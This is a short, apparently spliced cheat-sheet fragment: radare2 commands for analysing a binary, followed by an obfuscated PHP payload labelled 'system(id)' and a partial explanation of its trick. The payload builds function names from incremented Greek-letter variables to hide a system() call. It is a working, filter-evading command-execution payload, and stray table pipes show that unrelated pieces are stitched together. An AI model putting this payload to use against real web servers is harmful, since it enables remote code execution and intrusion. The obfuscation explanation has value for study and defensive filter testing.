load without any analysis (file header at offset 0x0): r2 -n /path/to/file
- analyze all:
aa
- show sections:
iS
- list functions:
afl
- list imports:
ii
- list entrypoints:
ie
- seek to function:
s sym.main
/* system(id) */ | |
<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?> | |
<!-- | |
Explanation: | |
- Some of the characters might look like alphanumeric, but they are Unicode characters. | |
- 'ArrayΦ' <-> [].Φ | |
- 1 <-> ![] | |
- 'a' <-> ([].Φ)[![]+![]+![]] |